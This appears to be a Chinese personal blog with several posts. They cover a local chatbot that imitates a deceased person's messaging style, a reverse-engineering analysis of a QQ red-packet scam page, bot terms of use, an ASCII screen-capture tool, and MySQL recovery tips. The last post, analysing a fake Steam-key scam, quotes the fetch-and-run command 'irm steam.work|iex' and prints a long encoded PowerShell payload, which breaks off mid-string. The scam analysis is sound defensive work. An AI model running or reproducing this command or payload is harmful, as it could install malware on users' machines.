Aelura's Blog

这个小博客也该复活了

Aelura — Wed, 29 Jul 2026 18:00:57 +0800

好久没发帖子了，过一两个月就开始正式更新了，主要更新我关于架构的学习过程以及整理。

先给我的博客模版捣腾了一下，应该好看多了

我写了一个复刻记忆的 AI，却剥夺了自己做梦的权利 -- Afterglow

Aelura — Thu, 25 Jun 2026 16:39:15 +0800

https://github.com/kldhsh123/Afterglow

我最近总在想一件事：如果把几万条已经死掉的聊天记录倒进大模型里，让它学着那个人的语气继续发消息，这段关系算不算还在喘气？

理智告诉我，这纯粹是该死的臆想症。人已经不在了，但我还是想从算法里抠出一点旧日的回音。

我写这个东西，起因很简单：市面上的那些“AI 替身”太假了。

在动手之前，我试过捏 GPTs，也玩过各种智能体平台。你填几百字的人设进去，它确实能陪你聊。但只要聊上十分钟，那种浓烈的“塑料味”就出来了。它们太客气、情绪太稳定，像个套着你朋友外壳的心理咨询师。你发一句“烦死了”，它恨不得写三百字小作文来安抚你。

但真实的聊天不是这样的。那个人可能只会回一个问号，发一个无语的表情包，或者干脆两小时后才甩过来一句“又怎么了”。

搞微调（比如 LoRA）门槛太高，普通人没算力，搞出来的东西还容易变成复读机。那些纯靠提示词的角色扮演，永远学不会独属于你们的那种、带着毛边的沟通惯性。更何况，聊天记录是极其私人的东西。我绝对不可能把几万条包含真名、住址甚至吵架细节的微信文件，传给某个不知道哪天就倒闭的商业公司的服务器。

所以我自己写了一个纯本地跑的系统。项目叫 Afterglow（续温）。

它不需要凭空捏造人格。它的底层逻辑很粗暴：把你导出的真实聊天记录塞进本地的 LanceDB 向量数据库，然后用 RAG（检索增强生成）去翻旧账。当你抱怨一句“好累”时，系统会去算余弦相似度，捞出几年前类似语境下你们真实的问答对，连同当下的情绪状态一起打包塞给大模型。

为了让它更像个活人，我叠了不少小模型。它会根据聊天记录画出作息图。如果那个人以前是个夜猫子，系统也会在对应的时区里表现出熬夜的特征。它会判断什么时候该沉默。连发多条消息时的错峰延迟、打字节奏，都被我用代码硬生生模拟了出来。

代码里有个让我纠结了很久的配置项：AI_GENERATED_LONG_TERM_ENABLED。

默认状态下它是关着的。关掉它，AI 永远只基于你们发生过的真实记录来模仿。这就像反复翻看一本写完的旧书，你面对的是记忆里被凝固的那个人。

但如果你打开它，AI 自己生成的回复也会跨会话写进向量库，参与后续的检索。这意味着聊得越久，它就会渐渐长出脱离真实历史的“新记忆”。你养出了一个以曾经那个人为种子，却慢慢有自己想法的新东西。

我把这个开关默认关闭，把选择权留给用它的人。在仓库主页我也写得很清楚：它是用来陪你想念的，不是用来代替想念的。

很多人看完项目架构可能会觉得，我大概躲在这个亲手搭建的幻梦里，得到了不少安慰。

并没有。这项目对我一点用都没有。

当屏幕上终于弹出那句带着熟悉语气的回复，甚至还发了一张以前常发的表情包时，我心里其实毫无波澜，脑子里只有项目的运行过程。

我知道那句温柔的安慰，只是大模型算出的概率最高的 Token。我知道它突然提起某件旧事，只是因为当时的聊天记录恰好被切分成了一个容易被匹配的 Vector Chunk。我知道那个让人心头一颤的停顿，仅仅是我写在 policy.reply_delay_seconds 里的一个随机整数。

这个项目对于其他人来说可能是救赎，但对于作者来说一定是坟墓，因为作者清楚这个项目的每一个机制。我一行一行地敲出了这个能骗过别人的程序，却唯独剥夺了自己做梦的权利。我治好了很多人的臆想症，而我看着机箱风扇转动，清醒地知道自己什么都没留住。

QQ 转发领取红包卡片骗局逆向

Aelura — Mon, 16 Feb 2026 21:18:01 +0800

源贴发到linuxdo了，博客重发一遍

QQ转发领取红包卡片逆向 - 开发调优 - LINUX DO

最近在 QQ 群看见一个转发领红包的卡片，好奇对这个逆了一下…

入口分析

直接访问：

https://cdn.nfa.qq.com/production/wp-content/uploads/2021/06/7a20f33a88d46c960379ad.html?signature=LWDbmFpgd2eb532548fe8c855ee673a5d21ffb11c4a8570b9d3eb4d19a&red_packet_id=94decdd4ee71476ea088cb9feSK6jIbSw&yb_use_wechat_download_page=1&appid=vcr38%25cch434&_from=&_wv=131073&_wwv=646&_fv=0&_bid=5103

默认会跳转至 QQ 官网下载页

最初怀疑是屏幕尺寸判断，调整分辨率后仍然跳转

随后修改 UA 为 QQ 内置浏览器：

Mozilla/5.0 (Linux; Android 16; A059 Build/BQ2A.250721.001-BP2A.250605.031.A3; wv)
AppleWebKit/537.36 (KHTML, like Gecko)
Version/4.0 Chrome/121.0.6167.71 MQQBrowser/6.2 TBS/047925
Mobile Safari/537.36 V1_AND_SQ_9.2.50_12670_YYB_D
QQ/9.2.50.32575 NetType/WIFI WebP/0.3.0
AppId/537330095 Pixel/1080 StatusBarHeight/126
SimpleUISwitch/0 QQTheme/2058862 StudyMode/0
CurrentMode/0 CurrentFontScale/1.0 GlobalDensityScale/1.0285715
AllowLandscape/false InMagicWin/0

成功进入页面

远程 JS 分析

页面加载了如下 JS：

https://oss.oss-aliyuncss.com/q/x.js

该 JS 实际为远程加载器，用于拉取远程 HTML 和替换当前页面内容

最终 HTML 指向：

2025lxxxx.oss-cn-beijing.aliyuncs.com/index.html

结构上看像批量生产的模板式页面

UA 限制逻辑

代码中存在 UA 判断：

function isMobileQQ() {
  var ua = navigator.userAgent.toLowerCase();
  var isMobile = /iphone|ipod|ipad|android|harmonyos/i.test(ua);
  var isQQBrowser = /qq/i.test(ua);
  var isIOSQQ = /iphone|ipod|ipad/i.test(ua) && /qq/i.test(ua);
  var isAndroidQQ = /android/i.test(ua) && /qq/i.test(ua);
  var isHarmonyOSQQ = /harmonyos/i.test(ua) && /qq/i.test(ua);
  return isMobile && isQQBrowser && (isIOSQQ || isAndroidQQ || isHarmonyOSQQ);
}

if (isMobileQQ()) {
} else {
  top.location.href="https://im.qq.com/mobileqq/";
}

作用为限定在 QQ 内置浏览器打开

推测可能是为了防止逆向此网站

不过实现方式较为粗糙，仅基于 UA 字符串判断，很容易破

禁止侧滑返回

调用：

mqq.ui.setWebViewBehavior({ swipeBack:0 })

用于禁止 QQ 内置浏览器侧滑退出页面

微信环境限制

存在如下代码：

function sleep(ms){
  var t = new Date().getTime();
  while (new Date().getTime() < t + ms) {}
}

function handler() {
  var origGet = Object.getOwnPropertyDescriptor(Element.prototype, "outerHTML").get;
  Object.defineProperty(document.documentElement, "outerHTML", {
    get: function () {
      WeixinJSBridge.invoke("closeWindow", {}, function(){});
      sleep(0x1f4); // 500ms busy wait
      return origGet.bind(this)();
    }
  })
}
handler()

作用为：劫持 outerHTML，若在微信环境打开，调用 WeixinJSBridge.closeWindow 强制关闭页面

第三方统计

页面还加载：

https://hm.baidu.com/hm.js?f43e74c9eaf28f9f7016fdb2cf0e3767

和

<script charset="UTF-8" id="LA_COLLECT" src="//sdk.51.la/js-sdk-pro.min.js">script>

<script>LA.init({id:"3KdthfN7YoDEWf4L",ck:"3KdthfN7YoDEWf4L"})script>

使用百度和 51la 统计做流量监控

7. 核心逻辑脚本

主逻辑文件：

<script src="//2025lxxxx.oss-cn-beijing.aliyuncs.com/js/sm.2026.js?" defer>script>

sm.2026.js 为核心业务逻辑脚本，包含完整页面逻辑。

仅供研究的反混淆版本：

考虑到这是公开文章，先删除了，如有需要请联系我

关键逻辑

（1）分享次数计算

反混淆后第 1384 行本地计算分享次数

（2）转发文案

反混淆后在第 1144 行定义了分享内容文案

（3）完成转发后跳转

当转发次数达标后页面跳转至外链

最终落地流程

跳转外链后要求绑定手机号

在点击获取验证码后跳转至运营商套餐订购页面

流程闭环如下：

红包诱导 → 强制转发 → 本地计数达标
→ 跳转手机号绑定页面
→ 跳转运营商套餐订阅页面

总结

该站点整体逻辑为：

利用 “红包” 噱头诱导传播
最终引导用户进入运营商套餐订阅页面
通过套餐订阅获取返佣

用阿里云的存储真的不怕被抓吗…

阿慈谷日富美机器人用户使用条款

Aelura — Tue, 19 Aug 2025 00:02:29 +0800

阿慈谷日富美机器人用户使用条款

第一章总则

本政策由本服务的开发者（以下简称“开发者”）制定，旨在明确用户在使用本聊天机器人阿慈谷日富美（以下简称“机器人”）时的行为规范和责任。
用户在使用机器人前，应当认真阅读并同意本政策的全部内容。一旦用户使用，即表示用户已充分理解并接受本政策约束。
开发者有权根据实际情况对本政策进行修改，修改后的内容将在合理范围内予以告知，用户继续使用机器人即视为同意修改内容。

第二章使用规范

用户在使用机器人时，不得从事任何违法违规或不当行为，包括但不限于：
- 发布或传播违法、虚假、辱骂、恐吓、淫秽、暴力、仇恨或其他不良信息；
- 侵犯他人合法权益，如知识产权、隐私权、名誉权等；
- 滥用服务功能，包括发送垃圾信息、广告、恶意刷屏、滥用接口调用等；
- 破坏或尝试破坏机器人的正常运行，包括恶意攻击、绕过限制、反向工程等行为。
用户应当以合理、合规的方式使用机器人，不得利用机器人进行任何违反法律法规、公共秩序或社会公德的行为。

第三章违规处理措施

开发者有权视用户违规的性质和严重程度，采取包括但不限于以下措施：
- 警告：提醒用户停止违规行为；
- 限制使用：临时关闭或限制部分功能；
- 暂停使用：在一定期限内禁止用户使用机器人；
- 永久撤销权限：严重或屡次违规的用户，将被永久禁止使用机器人；
- 法律追究：如违规行为造成严重后果，开发者有权向相关部门举报或采取法律手段追责。
用户因违规行为导致的损失、纠纷或法律责任，由用户自行承担，开发者不承担连带责任。

第四章数据与隐私保护

机器人在运行过程中可能会收集必要的用户信息（如账号标识、消息记录、使用日志等），仅用于提供服务及维护运行安全。
开发者将尽合理努力保障用户数据安全，不会主动泄露或出售用户信息。
除法律法规要求或用户明确同意外，用户数据不会被提供给无关第三方。

第五章责任声明

机器人基于程序自动化运行，回答内容仅供参考，开发者不保证其完全正确、完整或适用性。
用户应对因依赖机器人信息所作出的决策或行为自行承担风险与后果。
对于因不可抗力、系统故障或其他非开发者原因导致的服务中断或损失，开发者不承担责任。

第六章服务变更与终止

开发者有权根据实际情况，对机器人服务进行升级、优化、调整或终止。
如因不可抗力、系统故障、法律法规变化等原因导致服务中断或终止，开发者不对因此造成的损失承担责任。

第七章特殊条款 —— SCP: Secret Laboratory 服务器命令使用规范

若用户在机器人中使用与 SCP: Secret Laboratory 服务器相关的功能或命令（包括但不限于 cx 命令），则用户所属的服务器必须严格遵守以下规则：
- 遵守 《秘密实验室社区服务器准则》：
  https://scpslgame.cn/CSG.html
- 遵守 《秘密实验室最终用户许可协议（EULA）》：
  https://scpslgame.cn/eula.html
开发者有权在发现用户所属服务器违反上述准则或协议时，立即采取措施，包括但不限于：
- 永久禁止违规用户或服务器使用机器人服务。
用户和其所属服务器应对违反上述规定所造成的一切后果承担责任，开发者不对因此引发的任何纠纷或损失负责。

第八章附则

本政策未尽事宜，适用相关法律法规。
本政策的解释权和修订权归开发者所有。

屏幕界面ASCII字符展示

Aelura — Mon, 04 Nov 2024 14:50:13 +0800

下载

屏幕界面以ASCII字符展示

备用: 屏幕界面以ASCII字符展示

介绍

原理简述

截图：捕获窗口或屏幕内容。
灰度转换：将图像转换为灰度，以便处理亮度。
ASCII 转换：根据亮度将灰度图像映射成字符集合，从暗到亮依次使用不同的字符。
实时更新：每 100 毫秒刷新 ASCII 图像，实现实时显示。

躲避直播巡查的可能性

这种方法在显示上只用 ASCII 字符，但并不能完全躲避 Bilibili 的直播巡查。Bilibili 巡查系统可能会以内容内容违规进行一天以内的短期封禁。

使用方式

安装python环境
运行启动.bat
选择 1 安装依赖[可能需要代理]
安装成功后选择 2 启动

版权声明

所使用的依赖及来源：

numpy
- 来源：https://numpy.org
- 作用：处理图像像素数据，将图像转换为数组，便于像素值的计算与操作。
Pillow (PIL)
- 来源：https://python-pillow.org
- 作用：提供屏幕截图功能（ImageGrab）、图像处理（灰度化、调整大小）、以及将图像嵌入 Tkinter GUI（ImageTk）。
pygetwindow
- 来源：https://pypi.org/project/PyGetWindow
- 作用：获取当前系统中所有窗口的属性，支持定位特定窗口的边界。
pywin32（包含 win32gui 和 win32con 模块）
- 来源：https://github.com/mhammond/pywin32
- 作用：用于与 Windows 图形用户界面 (GUI) 进行交互（代码中未显式使用）。
tkinter（Python 标准库）
- 来源：https://docs.python.org/3/library/tkinter.html
- 作用：构建图形用户界面，用于显示捕获的屏幕截图和 ASCII 转换后的图像。
sys（Python 标准库）
- 来源：https://docs.python.org/3/library/sys.html
- 作用：支持与 Python 解释器交互，用于程序退出。

许可声明：上述依赖库均遵循其各自的许可协议，具体许可条款请参阅相关库的官方文档。

免责声明：本代码按“原样”提供，无任何明示或暗示的保证，包括但不限于对适销性、特定用途适用性或不侵权的保证。在任何情况下，作者不对因使用本代码而导致的任何损害或损失负责。

宝塔MySQL启动失败常见解决方法

Aelura — Fri, 08 Mar 2024 18:21:00 +0800

前言

在日常数据库的使用中，配置较低的服务器容易出现炸库现象。

这篇文章将讲解常见解决办法。

常见炸库解决方法

1.存储空间不足 //清理磁盘。
2.3306端口被占用 //在宝塔可以直接查看端口占用情况，可以通过结束进程解决。
3.与其他数据库冲突 //可以尝试卸载其他数据库。

服务器配置较低炸库现象

在部分服务器上，较低的配置可能导致炸库。

若是符合条件，可以尝试innodb_force_recovery参数

使用方法：在数据库配置文件添加 innodb_force_recovery = 1 配置

等号后面的数字可以按情况进行修改。

仅innodb_force_recovery 在紧急情况下设置为大于 0 的值，以便您可以启动InnoDB和转储您的表。在这样做之前，请确保您拥有数据库的备份副本，以防需要重新创建它。4 或更大的值可能会永久损坏数据文件。仅 innodb_force_recovery在您在数据库的单独物理副本上成功测试设置后，才能在生产服务器实例上使用 4 或更高的设置。强制InnoDB恢复时，您应该始终从该值开始， innodb_force_recovery=1并且只在必要时逐步增加该值。

1 (SRV_FORCE_IGNORE_CORRUPT)
让服务器即使检测到损坏的页面也能运行。尝试跳过损坏的索引记录和页面，这有助于转储表
2 (SRV_FORCE_NO_BACKGROUND)
阻止主线程和任何清除线程运行。如果在清除操作期间发生意外退出，此恢复值会阻止它。
3 (SRV_FORCE_NO_TRX_UNDO)

崩溃恢复后不运行事务回滚。
4 (SRV_FORCE_NO_IBUF_MERGE)

防止插入缓冲区合并操作。如果它们会导致崩溃，请不要这样做。不计算表统计信息。此值可能会永久损坏数据文件。使用此值后，准备删除并重新创建所有二级索引。设置 InnoDB为只读。
5 (SRV_FORCE_NO_UNDO_LOG_SCAN)

启动数据库时不查看撤消日志InnoDB：甚至将不完整的事务视为已提交。此值可能会永久损坏数据文件。设置InnoDB为只读。
6 (SRV_FORCE_NO_LOG_REDO)

不执行与恢复相关的重做日志前滚。此值可能会永久损坏数据文件。使数据库页面处于过时状态，这反过来可能会给 B 树和其他数据库结构带来更多损坏。设置 InnoDB为只读。

steam伪激活码骗局

Aelura — Fri, 12 Jan 2024 21:56:00 +0800

前言

之前在某宝购买了steam激活码“正版”游戏但是发货后要执行powershell命令我就感觉到了不对劲

irm steam.work|iex分析

按照url下载下来是这样一个powershell命令

powershell -encodedCommand "JAB2AHoAdwBuAGIAcQBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiADEAQQB0AFEAQwAwAG0AegBRAFEARwBEAHkAUwBvAFIATABiAE8AUABQAHcAcgBmACsARABqADcAcQAzAHgAaQBPAGMAaABVAEQAagAzADYAMQBHAFIASwByADQAUgByAHIAQwBYAGUAMwBhAEoAUQBpADIAcgBvAHYAcQBIAFMATABJAGwAOQA2ADgASAAzAFMAaQAzAHUATgBBAFkAeABwAHkAMgBuAC8ANgBMAEQAdwBHAGkANgBXAEsAaABOAGMAagBrAE0AUQBjAHQAZwBRACsALwBhADIARgAzAHIATABWAGwAOQBWAE0AcQAvAEYAagBXAEcAMAB4AG4AcwB3AFYARgA5AFQAMAAyADAAZgByAHYAcwBIAE8ATABLAFYAeQA0AFUAKwA3AHUAMABwAFMAcwBkADIAZQByAFMAcwBUAE8ARgBVAE0AWQBFAGkAVQBaADAAUwBMAFkARwB4AFEANABkAGoAbwBiADEAZABHAHUAYQBrAG4AOAA2ADQAZQBzAGoANgAwAG4ATQAzAFcAUwBHAHIASgBjAEwAUQBHAFMANgAxAG8AaABQAG8AZAB2ADAAVQBpAFEAWABPAGcAOAA3AFkAcABVAHQANQBoAHoAdABUADEAbgA2AHQAeQBKAHgAVwA1ADcAbQBCAEIAdQBzACsAMwBLAFYAQQBxAEUAMgBrAGkATABMACsAdgA4AFIANwA4AE4AQwBHAGMAcQB5AFcAVABhAEQARQA0AGYATwA1ACsAdgBGAHgAKwBpAGcAaABaAC8AMgAyAEIAdgBtAHkAeABsAFUASQBEAGwARQBDAHIATQByAFcAUgBVAE4AVwBtAGEAdQBhAEwAdABhAG4ANwBsAEoANgBPAFYAWQBMADkAMAA1AEkAQwBpAEIASAAzAE0AUgBVADMAVwAyAHoAaQBkADMAYgBDAG4AQwA4AEIAdQBuAC8AeABYAEoALwBqAHcAcgBwAEYAQQBiAGkAdgB0AHkAZABjAGwAaABYAGUARABXAHYAQgBnAHQAbgBFAGsARgBnAHcAWQBtAFcAcgBOAHAAUgBEAGMASgBKAEcAYgBIAHYANABDAEUAWQBhAHkAawB1AG4ATgBrAE0ARQBLADEAbQBDADEAcQBQAFoAawBLAHUAUgBTAC8AMwArAGsARgBGADQARgBQAEoANQA2AGYAbAA5AEEASwBpAC8AaQBJAG4AQQArAEEAMgB6AEUAZwBkAHgASQByAFAAbAAyAEkAegBjAC8AbABTAFoANwBxAEYAWgB5AGYASABvAHQAOABxAGUAawBsADUAMwBHAEMAZwB5ADIATgBhAEUAMABhAFUARgBVAGEAQgA2AE0ATABPAFQATQBaAE4ARgAyAGQAdgBIADkAWABJAFUATwAzAFAAVwBCAGYAQwBkAFMAWQBVAFUAVQBLAHgAdgBaAE8AMgB0ADgASQBPAFMAQQBUAC8ALwBrAEcAUQBGAHYATABtAGIAYwBjAE0ALwBSAEEAcwBFADEAWgBKAFMAbgBIAFMASABjAHAASQA4AFgASQAyADcAdABwAGoAWgBxAHQAWQB4AFIAUABlAGwAbgBHADUAWgA2AGsASwA0AHYAUAB3AHEAUQBCAHQAcwBiADQAOABOACsANgBRADcAdQBNAGcAVwBRADMAMgA1AGYAawA2ADUARwBPADQAeABkAEkAVgBDAHUANQBiAEoANQB0AHEANgAxAGYAWgB2ADQARwByAHoAdwA2AGMAQgBBAHYANQBZAHEAcQBvAEUAKwBSADcANwA3AHIAagBEAHEAWABNADEAbAAwAGkAOQAwAGgAZgBhAGUAVwBhAGgANwBxAGEAaQA0AHgATAB5AEsATgBDAFIANwA1AEUAbQBDAFIAZQBkAGoANgArAHUAWQBOAGMANgBrADIAVwBKAG8ASAA1AFIAZABVAHUAMgBCAFYASwB3AGkAegA1AFkAdQA0AGMAcQBMAFcARwBmAG4AMQBvAGkAMwBxAEQAZQArAHoAWABOAFAAYwBqAGoAMwBZAFEASwB2ADgAawA3ADYATwBzAFEAQQBXAFUAcQBFAEsAbgA1AGYAZQAvAEkAQgBiAEoAbABWADMAOABYAE0AaABRAGcAOQB6AHQAdwBwAE8ARwBmAEgANQB6AHcASABqAEQAVwA1ADMASgBpAGoASgA0AGsAMwBXAFQAagA4AEEAdQBXAEcAWQBaADkARABYADgAUQBYAGMATQBOAFIAUgBJAFgAeQBiAEMAaABPAC8AbwBaAEMAKwBaADQAZAA2ADcATQA3AEgAcQBYAFgATABWAGoASwBiAE8AZwBZAGYAQwBPAGYAQQAzADgATwBiADkAbQAxAG8AUABJAGcATAA1AHoAdgB4ADcARQA4AHkAaQByADEAOQBwAEoAbQBNAEUALwBGAFYAcgA5AG8AZQBJAGoANABNADMARQBCAHcASABmAHYAZwBYAHAAUABrAEMAagBsAEYANAB5AHEAbgBjAFIAYQBSAFEASgBWAGoAQQBiAFMAUQBMAHIAdABXAEQAdABaAGsAUgA3AG0AdgBlAFoAWQB5AG4AcwBBAEMAWABYAFEAbwBtADYARwBSAGkAVQB2AGIAUABuAEcAdAArAFQAaQBzAGkAagA5AFgAdQA3AEkAdwBhAE0AVwBWAFoATQBmAHAAcQBjAEkAbgBMADcAUwBmAC8AWQBSAGoAYQBlAEkAZABxADkAUgBiAFUATQByAFYAVABNADgATgA2AEQAdwA0AEwAUgBZAEIATABpADAAbwBEAFQAZgBMADMAcQB3AGQATQBEADkALwBFAEkAaQBBAGkAcgBGAGMAMQBaAEIAcgBnAEsAeQBRAGsALwBtAHgAcQBVAFkAYgBTAHEAZQBWACsAdQBMADYAaABSAHgAcABnAFMANwBTAEEANABzAC8AbABCAGsAVgBhAHYAQwA2ADIATwB0AFoAcQAvAFIAQQBxAG4AagBLAFIAYQBzAGcAMwBBAGUARwBBAEoAbgBsAFgAdABlAG4AWQB3AHMAQwAzAGEAeQBlAEcARgBaAGoAVQBzAEYAaABuAE4AUwBQAFkAawBQAHAAMgAwAEEASwBuAHQARgBvAEgAUwBWAE4ASgA1AHcARQBaADYAbgAzAEQARQBDAFUASwBjAHQAMQBRAEoAdAArAE8AdQBqAFgAaABUAEQAQwBIAFIATwBNAFYAZwBuADAATABHAFIAdwBaAE0AbwBnADIAMwBLAGgANgBhAHgAWABIAGcAOABFAFgATABRAFkANgBKADgAWgBDADEAeQBYAHgAUABBAEYARwBJACsASwAxAEMASQBIAFEARABVAFUASQA3AHIAWABkAEwAbQBzAGwARQAxADkAbwAvAC8AWABiADMATAB5AG0ATwBaAFkAdQBjAHMAQgB2AEMAYQBjAHcAcQAwAHoAcABkAC8ASABMAGgAYgB6ADIAMAB5AFkAdwA5AEYAVwBDAE0AYwAxAGsAWQBjAGsAeQA2AFQASwBVAHQAVgBCADkASABiAHUAbQAyAEwAUwBIAEcAeQBBAEEAUQBOAHQAZwBkAFIARAAxAGkASABTAHEANgBrADAAdABvAHgAcgBqAEUATgAxAFMAegAzAG0AKwAyAFUAUwBSAGYARQBGAGsAUwBJAG4AVgA4AGMASQBBAEkAdQBSAEgAUgBwAEMANgBaADkAWgBZAGUAWQByAEYARgBqADMANwBUAEcANABnAGoAMABTADcAVABEAEgAegB3ADkAWgB4AEYAaABPAFUATQBwAGwAeQBkAFcARgBFAGMAaABJAEUATwA5AHYAegBXADgATQBaAHkAUgBGAHMARABRADIAbABzAFYASABIAEsAagBoAE0AdAAxAHoAOABQAFkAYgAxAHMAcQBWAHEAMABVAHYAdwBPAEUANAA1ADkAbQBPAHkAUABtAEQARgAxAFkAMABjAEsARQBWADAAOQA1AEQAZwAzAGEAeQB6AFgAeABaADEATABsADQAZgBaAEkAYQBsAE8AWABzAGwAVABmAG0ASgBVAG4AWQA1AG4AVwA1AFAAMwBEAHkAegA0AGQAKwBPAHoAbABIAFQAagBhACsAYQBVAHgAUAB3AEMAZwA1AE4AYQB5AEwAOQBFAFoAMwB0AGMASQBuAEkAeQBPAG8ANAA2AEcAZABhADcALwBvAEgAbQB5AGEAUQBZAE4AdgBkAEoAeABsAFkAdwA4AFgAUwBDAEkAZAA0AEQAVwBrAFUANgBMAHEARwBoAHkAZgBUAFEAYQAvAC8AQQBrAFAARwA1AEcASABFAFcAQgB0AGgATgAwAFIAMwBTAC8AZgBoADIAUgBpAFAAMwA1AC8AWgB4AGIASwA2AE4AZwB2AFMAbQByADYAVAAzAHEAdAAyAE8ALwBRADkAbAA2AEUANgB0AHYATgBIAGIARABLADMALwBWAEcAUwBjAEoAZABkAHkASABRAFAAZAB0AHIAZwBZAHIAaABWAEUAOAB4AFYAMwBTADAAeQByAGUAQgBWAGgATgAvADgAZQBTAGsAQQA2ADIAMwBHAGMAZgBUAG8AaQBRAFcAZwBYAHcAMQBzAFYAUwBWAHEAcQBaAEsAVQB6AEYAYQB4AEYAVgA4ADkASQBwAG8AdQBWADgANgBUAHMASQBoADUATQBOAFEASABVAGwAeQB6AEUAYQA0AGMAdQBsAG4AYgBsAEcANwAyAHgAeABsAEcAdwBSAEsARAAzAGQAcwAxAEYAVgBHADMATgA0AFYARQBVAEMAMABXADMAaQA5AGQATwBGAHEAawBwAGwAVgBoAEgAUQBRAEQAWgBwADcAYQBEAEoAawBtAHIARABRAFUATgA2AHQASQBpAG4AbgBGAC8AdgAwAHgAQQAvADIALwA1AEEAeABVAFUAbgArAFoAYgBxAEYAZABzAHUAdQBEAFAAcgBWADEAagBxAFMAegB6AHgAOQBJAG4ATQBrAHEAMABSAEgAcABKAGMAZABRAEYAQQBRAGYAaAByAHMAeABvAGsAcwBRAHgAMgBxAGIAbQBDAEsAbAB5AHQAbAA4AFoAYQBIADMAagBEADYAeABmAGcAVgA5AEgAQQBXAHgAaQBsAFQANABnAEYARgBpADcAYQBoAHIARgBzAEIANwBqAEwAZgB5AEcAaABIAGwANwBpAGMAMwBsAFcATQBiADAAYgBXAHQATwBpAEgAaAAvADYASAByAGwANABCADYAQgBIAEUAbwBCACsARQBJADcAYwBOAHgAbwBNAGoAWABDAFUAbQBQAFQAZwB0AG8AYwB6AEwAYQBHAGUARQB4ADYAZwBkAFoAUgBoADQAcwBWAGcAVQArAFoANgBIAHcAUQBXAEMATQArAGoAcABjAHUARABOAEMAYgB6AFIAVwAvAEsAZQB1ADAANgBKAEcAdAAvADYAaABXAHMAOQArAEsARwA1ACsASAB1AEgASwBmAG8AawBjAEEAYwAzAEYAdgBvADkAQQA2AEIAVgBTAHIAMQBYAG4AegBoAFkAZgBKAHoAUwA0AEEARQB3AFIASABWAEUAVgBiAE4ASABzAHMAQQB5AEYALwBpAEcATwBMAEUARwBzADUASQB1AFYAdwA0AFQASQBLAGIARwA3AEEAawBxAEUAVAAzADkAOAB5AE4AegAxAEIAMQBSADkAeQBlAEEAKwByAC8AUQBSADQATwBjAGcAVgBOAEEAZwBTAEUAcwBSAEkAdgBrAGsASQBOADIAVgAzAFMATwByADUANwBBAEYAQQBOADkAKwBoAGoATgBqAEYAZQBhAGIAUgBiAHUAZgAwAEsAUAA4AGgAWgA5AGUAQgBnAG0AbgB0AE0AYwBKAE4AUgBtAHMAcwBZAE4ATAA3ADEAZgBnADcAWABtAHQAOQBFAGoAOQA1AHoAOABaAFIASgB4AGkAYwA0AGwATQAxADkAQgBtAGQAOAAxAGsAOABPAEoAbQBkAEcAbgA0AFcARwBFAFoAYQBmAEsAQQBqAGsAWQBvAHQAcQB4AFUANQA0AGEAVAAxADMAVwBOAHYAdAAxAFQAMAB4AEYAMABhAHoAeQBtADEAaQBrADkANwBWADcAVAByAEYAegBKAEcASwBzAFUANQBQAHgAdQBSAGcAdAA4ADMAdgBlADkAOQB3AEMAOQBqAFUAVQB3ADAATgBjAFMAUQBBAC8ATABZAC8ASwBHAEEAKwBqAHMAcgA4ADQAOABnAE4AUgA4AGMARwBpAGcAcgBKAHgANQBpAE4ASwBDAHoAegA0AGMARABnAEgARQBoAFIAKwA0AGIATQBUAHUAOQB1AEEAVgBvADcAaAAvADgASQA5AEkAcQBuADcARwBIAGUAeABWAG0AMwBxAFYAVQAvAHAAZABpAHEAbwBkAHUASABSAG0AVAA2ADgATwBGAE8AZwArAGwAcQBRAGIAegBXAGYAbgBiADYAMQBqAHUAUQBxAEgANABBADkAYQBZAFYATgB0AEEAcQBwAHMAUQB1ADgAUQBLAG8ATABKAEoAOQBtAHYAWQBKAHAAcwBRAHIAQQAyADgAaABPADQAawBsAHgAZgBmAFoAZAB0AGgAMABiAHgAUwBOAEEAdgBaADMAUwB0AHoANABUAHYAWABYADUAZABaAG8ASABzADcASwA3AGQAaABLADQAaABlADkAcgBSAFcAMgAyAEYAdQBuAEkAMwBTAGcAQQA5AHkAUgBhAHYAcQB5AHcAVwBEAHgAUQBJAEwAMwBaAEcAYQBFADkANgBLAFgAaQBDAE8ARABoAHcAawBVAGsAcgBDAEUAOABqAGsALwBjAE4ANAB0AEQATABRAHgAUQBPAHAARgBOAFoAdwBpAE4AMAB5AEMAKwBwADUAQgBrAHcAMgAwAGEAVABWAHIAcAB3AE0AYwBKAHYALwByAEcAMwBTAFIAbQAxAEsAZgB3AG8AUwBDAGQAbQA2ADAALwBNAGoARABNADEAUwBoAHEAcgBRADEAYQB1AEIAMQA1AGoANQA3AEsAWAAyAFoAagBQADgARgBPAEIANwBnAE4AdwBwAEMAUQBqAEoAOQBSAHUAbAByADAAWgBSAGUAbgBoAEQATgBpAGoAagA0AE0AQwBUAEIATABIAEMAdQB5ADkASABzAHAAcwBYAHgAbwA5AEoARgBWADkAegB5AE8ASABPAEMAZQA0AE4ARQB2AEwARABvAEUAUgArAGoANgBBAHUAZgBVAHYASwBlAHoANABzAHMAawBWADUATwB4AEoARQByAFMAcgBhAEQASwBUAHgANwBvAHQAawB3ACsAYQB5ADEAWgAyAHcAcgBqAGsAKwBhAHMAWQBBAHQATgBWAGsAeAA5AHIAOQBUAEoAWgBoAFIAbgB5ADkAYQAwADYAQwBmAFcAWAA3AEMAMgBoAHEARwA0ADIAMgBGAHUAVQBQAHMAZgBZAFUAZgBoADYAawBZAHMAcABzAC8AcwA3AHAAMwBwADgAOABpAHkAeABnAEEAVwBNAGEAZgAzAFgAbwBlAFYAaQArADEASgB3AFgAYgAwAEMAcwB0AFYAVwBUAGYAVAB0AEEAeABGAFIAUQBRAFgAdQBUAFIAbQB6AHkAbQBCAEgAcAAxADEAUwB0AHoAagAwADYATgA1AEIAbABtAEcATgArAHcAQgBGAFgAaABZAE4AUABwAE8AZQA0AGMAbgBPAEIATQBSAGQARABIAG4ASQBMADcANABRAFoATwA0AGMAWABsAHoAVQBWAHQAVgBEAE4ANABMAHcALwBtAGIAUwBUAHAAKwBaADYASwBYAFcAdABjAHYAQQA4AE8AZwBjAHoATQA4AGIANQA1AEkAcABkAGIAYgBaAGcATwBWADYAVwBnAEMAawBKAHMAVwB5ADYAdQA5AE0AYgBaADQALwBPAHEAbAB2AEkAdQBWAG0AWAAyADcAeQBXAHkAbgB3AGgAUQBqAGgAagA0ADEAcwBLADgAcABRAGcATwBHAEgANwBMADkARgBHADUAdwBLAHYAbwBr